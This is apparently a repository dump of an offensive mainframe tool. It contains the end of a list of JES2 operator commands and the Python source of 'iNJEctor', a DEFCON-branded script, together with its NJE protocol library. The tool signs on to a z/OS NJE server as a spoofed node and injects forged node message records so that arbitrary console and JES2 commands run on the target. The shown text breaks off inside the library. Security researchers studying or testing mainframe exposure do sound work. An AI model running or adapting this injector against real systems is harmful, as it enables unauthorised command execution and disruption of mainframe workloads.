permanent service class element 26 | $B PRT(nnnnn) and $B R(nnnnn).PR(m) - Logically backspace printer output 27 | $B PUN(nn) and $B R(nnnnn).PU(m) - Logically backspace punch output 28 | $C A - Cancel automatic commands 29 | $C Job - Cancel a job 30 | $C Lnnnn.xxn - Cancel NJE device activity 31 | $C O Job - Cancel output 32 | $C OFFn.JR - Cancel a spool offload transmitter/receiver 33 | $C PRT(nnnnn) and $C R(nnnnn).PR(m) - Cancel printer output 34 | $C PUN(nn) and $C R(nnnnn).PU(m) - Cancel punch output 35 | $C RDR and $C Rnnnn.RDm - Cancel reader activity 36 | $D A - Display information about currently active jobs 37 | $D ACTIVATE - Display current JES2 checkpoint level and MAS readiness for checkpoint activation to z11 level 38 | $D ACTRMT - Display Active RJE Workstations in a MAS 39 | $D APPL - Display JES2 SNA NJE applications 40 | $D BUFDEF - Display JES2 buffer definitions 41 | $D CKPTDEF - Display the checkpoint definition 42 | $D CKPTSPACE - Display checkpoint spaces 43 | $D CLASSGRP - Display class groups 44 | $D COMPACT - Display JES2 compaction tables 45 | $D CONDEF - Display console communication characteristics 46 | $D CONNECT - Display network connections 47 | $D DEBUG - Display the JES2 DEBUG option 48 | $D DESTDEF - Display symbolic destination settings 49 | $D DEStid - Display a JES2 symbolic destination 50 | $D ESTBYTE - Display Number of Bytes Set for Jobs and their Output 51 | $D ESTLNCT - Display number of lines for jobs and their output 52 | $D ESTPAGE - Display number of pages set for jobs and their output 53 | $D ESTPUN - Display number of punch pages set for jobs and their output 54 | $D ESTIME - Display amount of time set for jobs and their output 55 | $D EXIT - Display current characteristics of specified JES2 exit points 56 | $D F - Display the job output forms queue 57 | $D FSS - Display the characteristics of the specified functional subsystems 58 | $D INITDEF - Display the number of logical initiators currently defined 59 | $D INITINFO - Display initialization information 60 | $D I[nnmm] - Display initiator information 61 | $D INTRDR - Display the current INTRDR initialization statement characteristics 62 | $D JES2 - Display the current activity in the JES2 address space 63 | $D Job - Display information about specified jobs 64 | $D JOBCLASS(n) - Display job class characteristics 65 | $D JOBDEF - Display characteristics assigned to jobs 66 | $D JOBPRTY - Display Current Job Priority Characteristics 67 | $D L(nnnn).JR(n) - Display line and job receiver status 68 | $D L(nnnn).JT(n) - Display the job transmitter status 69 | $D L(nnnn).SR(n) - Display SYSOUT receiver status 70 | $D L(nnnn).ST(n) - Display SYSOUT transmitter status 71 | $D LINE(nnnnn) - Display a line 72 | $D LOADmod(jxxxxxxx) - Display load module information 73 | $D LOGON(nnn) - Display the status of JES2/VTAM interface(s) and their characteristics 74 | $D M - Send a message 75 | $D MASDEF - Display the multi-access spool environment 76 | $D MEMBer - Display information about MAS members 77 | $D MODule(jxxxxxxx) - Display assembled module information 78 | $D N - Display job queue information 79 | $D NETACCT - Display networking account numbers 80 | $D NETSRV(nnnnn) - Display a network server 81 | $D NETWORK - Display network activity 82 | $D NJEDEF - Display the JES2 Network Environment 83 | $D NODE(jnnnnnnn) - Display the characteristics of a node 84 | $D O Job - Display output characteristics 85 | $D OFF(n).JR - Display offload job receiver 86 | $D OFF(n).JT - Display offload job transmitter 87 | $D OFF(n).SR - Display offload SYSOUT receiver 88 | $D OFFn.ST - Display offload SYSOUT transmitter 89 | $D OFFLOAD - Display offload devices 90 | $D OPTsdef - Display start options processing definitions 91 | $D OUTCLASS(n) - Display output classes 92 | $D OUTDEF - Display output definition options 93 | $D OUTPRTY - Display job output priority 94 | $D PATH - Display paths from node to node 95 | $D PCE - Display status for JES2 processors 96 | $D PCEDEF - Display PCE definitions 97 | $D PRINTDEF - Display print environment characteristics 98 | $D PROCLIB(xxxxxxxx) - Display a PROCLIB concatenation 99 | $D PRT(nnnnn) and $D R(nnnnn).PR(m) - Display printers 100 | $D PUNCHDEF - Display punch environment characteristics 101 | $D PUN(nn) and $D R(nnnnn).PU(m) - Display a remote punch 102 | $D Q - Display the number of jobs queued 103 | $D R(nn).CON(mm) - Display the specified remote console 104 | $D RDI - Display the status of JES2-controlled internal reader 105 | $D RDR(nn) and $D R(nn).RD(mm) - Display command authority for a reader 106 | $D REBLD - Display rebuild queue information 107 | $D RECVopts - Display current RECVOPTS settings 108 | $D REDIRect - Redirect command responses 109 | $D REQJOBID - Display attributes of JOBID address spaces 110 | $D SMFDEF - Display status of SMF buffers 111 | $D SOCKET (xxxxxxxx) - Display the characteristics of a socket 112 | $D SPOOL - Display the status of spool volumes 113 | $D SPOOLDEF - Display the JES2 spooling environment 114 | $D SRVCLASS(name) - Display JES2 information for the specified service class 115 | $D SSI(nnn) - Display subsystem interface function information 116 | $D SUBTDEF - Display subtask definitions 117 | $D SUBNET - Display subnet connections 118 | $D TPDEF - Display current teleprocessing characteristics 119 | $D TRace(nnn) - Display current status of trace IDs 120 | $D TRACEDEF - Display current trace environment characteristics 121 | $D U - Display the status of JES2-controlled devices 122 | $DEL CONNect - Delete network connections 123 | $DEL DEStid - Delete a symbolic destination 124 | $DEL JOBCLASS(jobclass) - Delete a job class 125 | $DEL LOADmod - Remove a load module from storage 126 | $DEL PROCLIB(xxxxxxxx) - Delete a dynamic PROCLIB concatenation 127 | $E CKPTLOCK - Reset the checkpoint lock 128 | $E Job - Restart a job 129 | $E Lnnnn.xxn - Restart NJE device activity 130 | $E LINE(nnnnn) - Restart line activity 131 | $E LOGON(nn) - Restart the JES2/VTAM interface 132 | $E MEMBer - Perform cleanup for a failed MAS member 133 | $E NETSRV(nnn) - Restart a network server 134 | $E NETWORK - Reset current network devices 135 | $E OFFn.xx - Restart a spool offload transmitter 136 | $E PRT(nnnnn) and $E R(nnnnn).PR(m) - Restart printer activity 137 | $E PUN(nn) and $E R(nnnnn).PU(m) - Restart punch activity 138 | $F PRT(nnnnn) and $F R(nnnnn).PR(m) - Logically advance printer output 139 | $F PUN(nn) and $F R(nnnnn).PU(m) - Logically advance punch output 140 | $G A - Release a job at another node 141 | $G C - Cancel a job at another node 142 | $G D - Display job information for a job at another node 143 | $G H - Hold a job at another node 144 | $G R, OUT - Request another node to route job output 145 | $G R, XEQ - Request another node to route a job for execution 146 | $H A - Hold all jobs 147 | $H Job - Hold specific jobs 148 | $I PRT(nnnnn) and $I R(nnnnn).PR(m) - Interrupt printer activity 149 | $I PUN(nn) and $I R(nnnnn).PU(m) - Interrupt punch activity 150 | $JDDETAILS - Display details summary of jobs 151 | $JDHISTORY - Display history of JES2 resource usage 152 | $JDJES - Display non-severe incident report 153 | $JDMONITOR - Display current status of JES2 monitor subtasks 154 | $JDSTATUS - Display current status 155 | $JSTOP - Terminate monitor address space 156 | $L Job - List job output information 157 | $Mnn - Send commands to other MAS members 158 | $MSPL - Migrate spool volumes 159 | $Nnnnn - Send commands through the network 160 | $N PRT(nnnnn) and $N R(nnnnn).PR(m) - Repeat printer output 161 | $N PUN(nn) and $N R(nnnnn).PU(m) - Repeat punch output 162 | $O Job - Release or cancel held output groups 163 | $P - Stop JES2 processing 164 | $P I[nnmm] - Stop an initiator 165 | $P JES2 - Withdraw JES2 from the system 166 | $P Job - Purge a job 167 | $P Lnnnn.xxn - Stop an NJE device 168 | $P LINE(nnnnn) - Stop a line 169 | $P LOGON(nnnnn) - Stop the JES2/VTAM interface 170 | $P NETSRV(nnnnn) - Stop a network server 171 | $P O Job - Purge a job's output 172 | $P NETWORK - Purge current network devices 173 | $P OFFn.xx - Stop an offload transmitter/receiver 174 | $P OFFLOADn - Stop an offload device 175 | $P PRT(nnnnn) and $P R(nnnnn).PR(m) - Stop a printer 176 | $P PUN(nn) and $P R(nnnnn).PU(m) - Stop a punch 177 | $P RDRnn and $P Rnnnn.RDm - Stop a reader 178 | $P RMT(nnnnn) - Terminate a remote terminal connection 179 | $P SPOOL - Drain a spool volume 180 | $P SRVCLASS(name) - Drain JES2 processing for a given service class 181 | $P TRace - Stop a trace ID 182 | $P XEQ - Prevents JES2 and WLM-controlled initiators from selecting work 183 | $R - Route job output 184 | $R XEQ - Route specific jobs for execution 185 | $S - Start system activity 186 | $S A - Start automatic command processing 187 | $S I[vvvv] - Start an initiator 188 | $S Job - Initiate a batch job into execution 189 | $S Lnnnn.xxn - Start an NJE device 190 | $S LINE(nnnn) - Start a line 191 | $S LOGON - Start the JES2/VTAM interface 192 | $S N - Start node communication on a BSC line 193 | $S N - Start node communication on an SNA line 194 | $S N - Start node communication on a TCP/IP line 195 | $S NETSRV(nnn) - Start a network server 196 | $S NETWORK - Start automatic device restart and NJE connection processing 197 | $S OFFn.xx - Start offload transmitters and receivers 198 | $S OFFLOADn - Start an offload device 199 | $S PRT(nnnnn) and $S R(nnnnn).PR(m) - Start a printer 200 | $S PUN(nn) and $S R(nnnnn).PU(m) - Start a punch 201 | $S RDRnn and $Rnnnn.RDm - Start a reader 202 | $S RMT(nnnnn) - Automatically connect a remote terminal 203 | $S SPOOL - Start a spool volume 204 | $S SRVCLASS - Start JES2 processing for a given service class 205 | $S TRACE(nn) - Start a trace ID 206 | $S XEQ - Allow JES2 and WLM-controlled initiators to select work 207 | $T A - Display, specify, and modify automatic commands 208 | $T APPL - Control JES2 applications 209 | $T BUFDEF - Control local buffers 210 | $T CKPTDEF - Set the checkpoint definition 211 | $T CKPTSPACE - Set the checkpoint space 212 | $T CONDEF - Set console communication characteristics 213 | $T CONNect - Change static network connections 214 | $T DEBUG - Set the JES2 DEBUG option 215 | $T DESTDEF - Control JES2 symbolic destination displays 216 | $T DEStid - Control a JES2 symbolic destination 217 | $T ESTBYTE - Control the default spool space utilization per job 218 | $T ESTIME - Control the default execution time 219 | $T ESTLNCT - Control the default print line count per job 220 | $T ESTPAGE - Control the default page count per job 221 | $T ESTPUN - Control the default punched card output per job 222 | $T EXIT(nnn) - Control JES2 installation exit points 223 | $T FSS - Control a functional subsystem 224 | $T Init(nnmm) - Control initiators 225 | $T INTRDR - Control internal readers 226 | $T Job - Change a job's class, scheduling priority, or affinity 227 | $T JOBCLASS - Set job class characteristics 228 | $T JOBDEF - Set job processing characteristics 229 | $T JOBPRTY(n) - Set job scheduling characteristics 230 | $T L(nn).JT(nn) - Specify network job transmitter characteristics 231 | $T L(nnnn).ST(n) - Specify network SYSOUT transmitter characteristics 232 | $T LINE(nnnnn) - Control a line 233 | $T LOADmod - Refresh a load module from storage 234 | $T LOGON(nnn) - Control the JES2/VTAM interface 235 | $T MASDEF - Control the multi-access spool environment 236 | $T MEMBer - Change a member's operational mode 237 | $T NETSRV(nnnnn) - Modify the attributes of a network server 238 | $T NJEDEF - Control JES2 network environment 239 | $T NODE(jnnnnnnn) - Set the characteristics of a node 240 | $T NUM - Set the JES2 internal job numbers 241 | $T O Job - Set output characteristics 242 | $T OFF(n).JR - Set offload job receiver characteristics 243 | $T OFF(n).JT - Set offload job transmitter characteristics 244 | $T OFF(n).SR - Set offload SYSOUT receiver characteristics 245 | $T OFF(n).ST - Set offload SYSOUT transmitter characteristics 246 | $T OFFLOAD(n) - Set offload device characteristics 247 | $T OUTCLASS(n) - Set SYSOUT class characteristics 248 | $T OUTDEF - Set job output characteristics 249 | $T OUTPRTY(n) - Set output scheduling priorities 250 | $T PCE - Control JES2 processors 251 | $T PRINTDEF - Control the JES2 print environment 252 | $T PROCLIB(xxxxxxxx) - Modify an existing dynamic PROCLIB concatenation 253 | $T PRT(nnnnn) and $T R(nnnnn).PR(m) - Control a printer 254 | $T PUN(nn) and $T R(nnnnn).PU(m) - Control a punch 255 | $T RDI - Control an internal reader 256 | $T RDRnn and $T Rnnnn.RDm - Control a reader 257 | $T RECVopts - Set JES2 recovery options 258 | $T REDIRect - Redirect command responses 259 | $T RMT(nnnnn) - Change an RJE workstation 260 | $T REQJOBID - Set JOBID attributes 261 | $T SMFDEF - Control SMF buffers 262 | $T SOCKET (xxxxxxxx) - Control a socket 263 | $T SPOOL - Modify a spool volume 264 | $T SPOOLDEF - Set the JES2 spooling environment 265 | $T SRVCLASS(name) - Modify JES2 information for the specified service class 266 | $T SSI(nnn) - Control the subsystem interface definition 267 | $T TPDEF - Set JES2 teleprocessing characteristics 268 | $T TRACE(nn) - Modify a trace ID 269 | $T TRACEDEF - Control the trace facility 270 | $VS - Enter MVS system commands through JES2 271 | $Z A - Halt automatic command processing 272 | $ZAPJOB - Remove job structure from job queue 273 | $Z I[vvvv] - Halt initiator activity 274 | $Z NETWORK - Halt automatic network connection and device processing and drain NJE devices 275 | $Z OFFLOADn - Halt offload activity 276 | $Z PRT(nnnnn) and $Z R(nnnnn).PR(m) - Halt printer activity 277 | $Z PUN(nn) and $Z R(nnnnn).PU(m) - Halt punch activity 278 | $Z RDRnn - Halt reader activity 279 | $Z SPOOL - Halt a spool volume -------------------------------------------------------------------------------- /Network Tools/iNJEctor/iNJEctor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ## NJE NMR Command Sender 4 | ## Allows for sending commands to z/OS NJE 5 | ## requires OHOST and RHOST 6 | # 7 | ## Created by Soldier of Fortran 8 | # 9 | ######### 10 | # 11 | # This program is free software: you can redistribute it and/or modify 12 | # it under the terms of the GNU General Public License as published by 13 | # the Free Software Foundation, either version 3 of the License, or 14 | # (at your option) any later version. 15 | # 16 | # This program is distributed in the hope that it will be useful, 17 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | # GNU General Public License for more details. 20 | # 21 | # You should have received a copy of the GNU General Public License 22 | # along with this program. If not, see . 23 | # 24 | ######### 25 | 26 | import njelib 27 | import argparse 28 | import sys 29 | import signal 30 | import re 31 | #reload(sys) 32 | #sys.setdefaultencoding('utf8') 33 | 34 | 35 | class c: 36 | BLUE = '\033[94m' 37 | DARKBLUE = '\033[0;34m' 38 | PURPLE = '\033[95m' 39 | GREEN = '\033[92m' 40 | YELLOW = '\033[93m' 41 | RED = '\033[91m' 42 | WHITE = '\033[1;37m' 43 | ENDC = '\033[0m' 44 | DARKGREY = '\033[1;30m' 45 | 46 | 47 | def disable(self): 48 | self.BLUE = '' 49 | self.GREEN = '' 50 | self.YELLOW = '' 51 | self.DARKBLUE = '' 52 | self.PURPLE = '' 53 | seld.WHITE= '' 54 | self.RED = '' 55 | self.ENDC = '' 56 | 57 | def signal_handler(signal, frame): 58 | print c.ENDC+ "\n( PACMAN Death Sound )\n" 59 | sys.exit(0) 60 | signal.signal(signal.SIGINT, signal_handler) 61 | 62 | print c.GREEN+''' _ '''+c.RED+''' _ __ __ ______'''+c.GREEN+''' __ 63 | (_)'''+c.RED+''' / | / / / / / ____/'''+c.GREEN+''' ____/ / ____ _____ 64 | / / '''+c.RED+'''/ |/ / _ / / / __/ '''+c.GREEN+'''/ ___/ __/ __ \/ ___/ 65 | / / '''+c.RED+'''/ /| / / /_/ / / /___ '''+c.GREEN+'''/ /__/ /_/ /_/ / / 66 | /_/ '''+c.RED+'''/_/ |_/ \____/ /_____/ '''+c.GREEN+'''\___/\__/\____/_/ 67 | The JES2 NJE Command Injector 68 | ''' + c.RED + " DEFCON 23 Edition\n"+ c.ENDC 69 | 70 | 71 | #start argument parser 72 | parser = argparse.ArgumentParser(description='iNJEctor takes a target host, target NJE hostname and your own NJE hostname and send JES2 commands to the target. Displays the output to stdout.\n See: http://www-01.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.hasa200/has2cmdr.htm for a list of commands.') 73 | parser.add_argument('target',help='The z/OS Mainframe NJE Server IP or Hostname') 74 | parser.add_argument('ohost',help='Name of the host you\'re sending the control record as. Note that both ohost and rhost must be valid.') 75 | parser.add_argument('rhost',help='Name of the host you expect to send the command to. Note that both ohost and rhost must be valid.') 76 | parser.add_argument('command',help='JES2 or console command you wish to execute. ') 77 | parser.add_argument('-p','--port',help='The NJE server port. Default is 175', dest='port', default=175, type=int) 78 | parser.add_argument('--pass', help='Use this flag to provide a password for sigon', dest='password', default='') 79 | parser.add_argument('-d','--debug',help='Show debug information. Displays A LOT of information',default=False,dest='debug',action='store_true') 80 | args = parser.parse_args() 81 | 82 | nje = njelib.NJE(args.ohost,args.rhost) 83 | 84 | if args.debug: 85 | nje.set_debuglevel(1) 86 | 87 | 88 | t = nje.signon(host=args.target,port=args.port, timeout=2, password=args.password) 89 | 90 | if t: 91 | print '[+] Signon to', nje.host ,'Complete' 92 | else: 93 | print '[!] Signon to', nje.host ,'Failed!\n Enable debugging to see why.' 94 | sys.exit(-1) 95 | 96 | print "[+] Sending Command:", args.command 97 | r = nje.nmrCommand(args.command) 98 | 99 | 100 | print "[+] Response Received:\n" 101 | print r 102 | 103 | 104 | 105 | 106 | -------------------------------------------------------------------------------- /Network Tools/iNJEctor/njelib.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ## Functions used to communicate with NJE 4 | ## Created by Soldier of Fortran 2015 5 | # BETA Library Created for DEFCON 23 6 | # Currently only supports NMR and supporting functions 7 | # TODO: 8 | # - Better RCB/SRCB Detection 9 | # - JCL Submission 10 | # - Full NJE Library 11 | # 12 | # Based Heavily on IBM book HAS2A620: 13 | # "Network Job Entry: Formats and Protocols" 14 | # Available Here: http://publibz.boulder.ibm.com/epubs/pdf/has2a620.pdf 15 | # 16 | # Notes: 17 | # - TCP is a Non-SNA Buffer Format 18 | # - The sections are described in alphabetical orders, not in the order of the packet 19 | # - Not everything is documented well 20 | # 21 | ######### 22 | # 23 | # This program is free software: you can redistribute it and/or modify 24 | # it under the terms of the GNU General Public License as published by 25 | # the Free Software Foundation, either version 3 of the License, or 26 | # (at your option) any later version. 27 | # 28 | # This program is distributed in the hope that it will be useful, 29 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 30 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 31 | # GNU General Public License for more details. 32 | # 33 | # You should have received a copy of the GNU General Public License 34 | # along with this program. If not, see . 35 | # 36 | ######### 37 | 38 | import socket 39 | import sys 40 | import ssl 41 | import re 42 | import struct 43 | from select import select 44 | import binascii 45 | from binascii import hexlify, unhexlify 46 | from bitstring import BitStream, BitArray 47 | 48 | DEBUGLEVEL = 0 49 | NJE_PORT = 175 50 | SPACE = "\x40" 51 | 52 | class NJE: 53 | def __init__(self, rhost, ohost, host='', port=0, password='', rip='10.13.37.10'): 54 | 55 | self.debuglevel = DEBUGLEVEL 56 | self.host = host 57 | self.port = port 58 | self.sock = None 59 | self.RHOST = self.padding(rhost) 60 | self.OHOST = self.padding(ohost) 61 | self.TYPE = self.padding("OPEN") 62 | self.RIP = socket.inet_aton(rip) 63 | #self.OIP = socket.inet_aton(host) 64 | self.R = "\x00" 65 | self.node = 0 66 | self.password = password 67 | self.own_node = chr(0x01) # Node is default 1. Can be changed to anything 68 | self.sequence = 0x80 69 | if host: 70 | self.signon(self.host, self.port) 71 | 72 | 73 | def connect(self, host, port=0, timeout=30): 74 | """Connects to an NJE Server. aka a Mainframe!""" 75 | self.ssl = False 76 | if not port: 77 | port = NJE_PORT 78 | self.host = host 79 | self.port = port 80 | self.timeout = timeout 81 | try: 82 | self.msg("Trying SSL") 83 | non_ssl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 84 | ssl_sock = ssl.wrap_socket(sock=non_ssl,cert_reqs=ssl.CERT_NONE) 85 | ssl_sock.settimeout(self.timeout) 86 | ssl_sock.connect((host,port)) 87 | self.sock = ssl_sock 88 | self.ssl = True 89 | #except ssl.SSLError, e: 90 | except Exception, e: 91 | non_ssl.close() 92 | self.msg("SSL Failed Trying Non-SSL") 93 | try: 94 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 95 | sock.settimeout(timeout) 96 | sock.connect((host,port)) 97 | self.sock = sock 98 | except Exception, e: 99 | self.msg('Non-SSL Connection Failed: %r', e) 100 | return False 101 | #except Exception, e: 102 | # self.msg('SSL Connection Failed Error: %r', e) 103 | # return False 104 | return True 105 | 106 | def disconnect(self): 107 | """Close the connection.""" 108 | sock = self.sock 109 | self.sock = 0 110 | if sock: 111 | sock.close() 112 | 113 | def signoff(self): 114 | #Sends a B Record 115 | adios = ('\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x09\x10\x02' + 116 | chr(self.sequence) + 117 | '\x8F\xCF\xF0\xC2\x00\x00\x00\x00\x00\x00' ) 118 | self.msg("Sending Signoff Record: %r", self.EbcdicToAscii(adios[18])) 119 | self.sendData(adios) 120 | self.disconnect() 121 | 122 | 123 | def msg(self, msg, *args): 124 | """Print a debug message, when the debug level is > 0. 125 | 126 | If extra arguments are present, they are substituted in the 127 | message using the standard string formatting operator. 128 | 129 | """ 130 | if self.debuglevel > 0: 131 | print 'NJE(%s,%s):' % (self.host, self.port), 132 | if args: 133 | print msg % args 134 | else: 135 | print msg 136 | 137 | def set_debuglevel(self, debuglevel): 138 | """Set the debug level. 139 | The higher it is, the more debug output you get (on sys.stdout). 140 | """ 141 | self.debuglevel = debuglevel 142 | print "[+] Debug Enabled" 143 | 144 | def INC_SEQUENCE(self): 145 | self.sequence = (self.sequence & 0x0F)+1|0x80 146 | 147 | def changeNode(self, node): 148 | ''' Node is the number of the node you'd like to be ''' 149 | self.own_node = node 150 | 151 | def AsciiToEbcdic(self, s): 152 | ''' Converts Ascii to EBCDIC ''' 153 | return s.decode('utf-8').encode('EBCDIC-CP-BE') 154 | 155 | def EbcdicToAscii(self, s): 156 | ''' Converts EBCDIC to UTF-8 ''' 157 | return s.decode('EBCDIC-CP-BE').encode('utf-8') 158 | 159 | def signon(self, host, port=0, timeout=30, password=''): 160 | """ Implement NJE Signon Procedures by building the initial signon records: 161 | 162 | From has2a620.pdf 163 | 0 1 2 3 4 5 6 7 8 9 A B C D E F 164 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 165 | | TYPE | RHOST | 166 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 167 | | RIP | OHOST | OIP | 168 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 169 | | R | 170 | +-+-+ 171 | TYPE : Type of request in EBCDIC characters, left justified and padded with blanks. 172 | Acceptable values are OPEN, ACK, and NAK. 173 | RHOST: Name of the host sending the control record and is the same value as the RSCS 174 | LOCAL associated with this link. This field is EBCDIC characters, left justified 175 | and padded with blanks. 176 | RIP : Hexadecimal value of the IP address sending the control record. 177 | OHOST: The name of the host expected to receive the control record. Same format as RHOST. 178 | OIP : Hexadecimal value of the IP address expected to receive the control record. 179 | R : If TYPE=NAK, reason code in binary, used to return additional information. 180 | Valid values are: 181 | - X'01' No such link can be found 182 | - X'02' Link found in active state and will be reset 183 | - X'03' Link found attempting an active open. 184 | """ 185 | 186 | if not self.connect(host,port, timeout): 187 | return False 188 | print "[+] Initiating Singon to", host 189 | 190 | if password: 191 | self.password = password 192 | elif not password and not self.password: 193 | self.msg("No password provided, continuing without. " 194 | "If you receive a 'B' record, this is likely the reason") 195 | 196 | ip = socket.gethostbyname(host) 197 | self.OIP = socket.inet_aton(ip) 198 | nje_packet = (self.TYPE + 199 | self.RHOST + 200 | self.RIP + 201 | self.OHOST + 202 | self.OIP + 203 | self.R ) 204 | 205 | self.msg("Sending >> TYPE: " + self.EbcdicToAscii(self.TYPE) + 206 | " RHOST: " + self.EbcdicToAscii(self.RHOST) + 207 | " OHOST: " + self.EbcdicToAscii(self.OHOST)) 208 | 209 | self.sendData(nje_packet) 210 | 211 | buff = self.getData() 212 | bTYPE = self.EbcdicToAscii(buff[0:8]) 213 | bRHOST = self.EbcdicToAscii(buff[8:16]) 214 | bRIP = buff[16:20] 215 | bOHOST = self.EbcdicToAscii(buff[20:28]) 216 | bOIP = buff[28:32] 217 | bR = struct.unpack("b", buff[32])[0] 218 | 219 | self.msg("Response << TYPE: " + bTYPE + " RHOST: " + bRHOST + " OHOST: " + bRHOST + " R: " + str(bR)) 220 | 221 | if bTYPE == "NAK ": 222 | print "[!] Error, recieved NAK with the following error:", bR 223 | self.disconnect() 224 | return False 225 | 226 | self.sendData(self.build_SOHENQ()) 227 | buff = self.getData() # we get the reply data, but don't do anything with it? 228 | I_record = self.build_I() 229 | self.msg("Sending >> Record Type: " + self.EbcdicToAscii(I_record[18]) + 230 | " to Node: " + self.EbcdicToAscii(I_record[20:20+8])) 231 | self.sendData(I_record) 232 | self.INC_SEQUENCE() # Increment the sequence number by 1 now 233 | 234 | buff = self.getData() 235 | self.msg("Response << Record Type: " + self.EbcdicToAscii(buff[18]) + 236 | " from Node: " + self.EbcdicToAscii(buff[20:20+8]) + 237 | " Sequence: " + self.phex(buff[14]) ) 238 | 239 | if not self.check_signoff(buff): 240 | return False 241 | 242 | self.target_node = buff[28] 243 | NCCIEVNT = buff[29:29+4] 244 | 245 | if NCCIEVNT == "\x00\x00\x00\x00": 246 | # Reset the connection with type K 247 | reply = self.build_reset() #Type 'K' 248 | self.msg("Sending >> Reset Record type: %r", self.EbcdicToAscii(reply[18])) 249 | self.sendData(reply) 250 | self.INC_SEQUENCE() #Every time we send data we should increment. Maybe I should add this to a 'send NJE'....... 251 | buff = self.getData() 252 | self.msg("Response << Record Type: " + self.EbcdicToAscii(buff[18])) 253 | else: 254 | # We're not the big boss, send concurrence 255 | reply = self.build_concurrence(NCCIEVNT) #Type 'L' 256 | self.msg("Sending >> Concurrence Record type: %r", self.EbcdicToAscii(reply[18])) 257 | self.sendData(reply) 258 | self.INC_SEQUENCE() #Every time we send data we should increment. Maybe I should add this to a 'send NJE'....... 259 | 260 | self.msg("Sequence is: " + self.phex(chr(self.sequence))) 261 | self.msg("Own Node : " + self.phex(self.own_node)) 262 | self.msg("Dest Node : " + self.phex(self.target_node)) 263 | return True 264 | 265 | def nmrCommand(self, command): 266 | self.msg("Sending command: %r", command) 267 | fake_nmr = self.createNMR(command) 268 | NMR_with_TTR = self.makeTTR_data_block_header(fake_nmr) 269 | NMR_with_TTB = self.makeTTB(NMR_with_TTR) # My final form! 270 | self.sendData(NMR_with_TTB) 271 | self.INC_SEQUENCE() 272 | buf = self.getData() 273 | # All messages will now be compressed using SCB. 274 | # Since it's an NMR we'll decode the response 275 | return self.decodeNMR(buf) 276 | 277 | 278 | 279 | def createNMR(self, command): 280 | # Makes Node Message Records. Essentially master console commands 281 | # command = console command to run 282 | 283 | DLE = "\x10" 284 | STX = "\x02" 285 | BCB = chr(self.sequence) 286 | FCS = "\x8F\xCF" 287 | RCB = "\x9A" # Commands are of the type '9A' 288 | SRCB = "\x80" # Commands don't have an SRCB 289 | NMRFLAG = "\x90" 290 | NMRLEVEL= "\x77" # The level, we put it as essential 291 | NMRTYPE = "\x00" # 00 for unformatted commands. Which is what we send 292 | NMRTO = self.OHOST + self.own_node # This is TO node name. The last byte should be 00 but I'm wondering if it matters 293 | NMROUT = "\x00\x00\x00\x00\x01\x00\x00\x01" # was 00:00:00:00:01:00:00:01 but no idea if it needs to be 294 | NMRFM = self.RHOST + self.target_node # From. 01 should be the last byte 295 | NMRMSG = self.AsciiToEbcdic(command) 296 | NMRML = chr(len(NMRMSG)) 297 | NMR =(NMRFLAG + 298 | NMRLEVEL + 299 | NMRTYPE + 300 | NMRML + 301 | NMRTO + 302 | NMROUT + 303 | NMRFM + 304 | NMRMSG ) 305 | packet = DLE + STX + BCB + FCS + RCB + SRCB + self.makeSCB(NMR) 306 | return packet 307 | 308 | def decodeNMR(self, nmr): 309 | #Since we made a terrible 'recvALL' we gotta deal with this here: 310 | messages = '' 311 | while len(nmr) > 0: 312 | total_length = self.readTTB(nmr) 313 | self.msg("Total Length (TTB): %r", total_length) 314 | total_record_length = self.readTTR(nmr[8:]) 315 | self.msg("Record Length (TTR): %r", total_record_length) 316 | cur_nmr = nmr[12:total_record_length+10] #skip the TTB and TTR. it really should be +8 not +10 but this works for now 317 | DLE = cur_nmr[0] 318 | STX = cur_nmr[1] 319 | BCB = cur_nmr[2] 320 | FCS = cur_nmr[3:3+2] 321 | RCB = cur_nmr[5] 322 | SRCB = cur_nmr[6] 323 | self.readRCB(RCB) 324 | self.msg("[SRCB] %r", self.phex(SRCB)) 325 | # Everything left in the packet will be compressed using SCB 326 | # Decompress using the readSCB function 327 | cur_nmr = self.readSCB(cur_nmr[7:]) 328 | 329 | while len(cur_nmr) > 0: 330 | NMRFLAG = cur_nmr[0x00] #Flags TODO: Check these I guess 331 | NMRLEVEL = cur_nmr[0x01] #and NMRPRIO techincally 332 | NMRTYPE = cur_nmr[0x02] #Type of Message 333 | NMRML = cur_nmr[0x03] #Length of the message 334 | NMRTO = cur_nmr[0x04:0x0C] 335 | NMRTOQUL = cur_nmr[0x0C] 336 | NMROUT = cur_nmr[0x0D:0x15] 337 | NMRFM = cur_nmr[0x15:0x1E] 338 | msg_length = struct.unpack("b", NMRML)[0] 339 | 340 | # An undocumented feature appears! Pads spaces. Thanks IBM! 341 | i = 0 342 | while 0x1E + msg_length + i < len(cur_nmr): 343 | if cur_nmr[0x1E+msg_length+i] != "\x40": 344 | break 345 | else: 346 | i += 1 347 | msg_length += i 348 | 349 | NMRMSG = cur_nmr[0x1E:0x1E+msg_length] #OMG The ACTUAL contents 350 | self.msg("NMRFLAG: %r", self.phex(NMRFLAG)) 351 | self.msg("NMRLEVEL: %r", self.phex(NMRLEVEL)) 352 | self.msg("NMRTYPE: %r", self.phex(NMRTYPE)) 353 | self.msg("NMRML: %r", self.phex(NMRML)) 354 | self.msg("Length: %r", msg_length) 355 | self.msg("NMRTO: %r", self.EbcdicToAscii(NMRTO)) 356 | self.msg("NMRFM: %r", self.EbcdicToAscii(NMRFM[:-1])) 357 | self.msg("NMRTOQUL: %r", self.phex(NMRTOQUL)) 358 | self.msg("NMRFMQUL: %r", self.phex(NMRFM[-1])) 359 | self.msg("NMROUT: %r", self.phex(NMROUT)) 360 | self.msg("Current Message: %r", self.EbcdicToAscii(NMRMSG)) 361 | messages += self.EbcdicToAscii(NMRMSG) 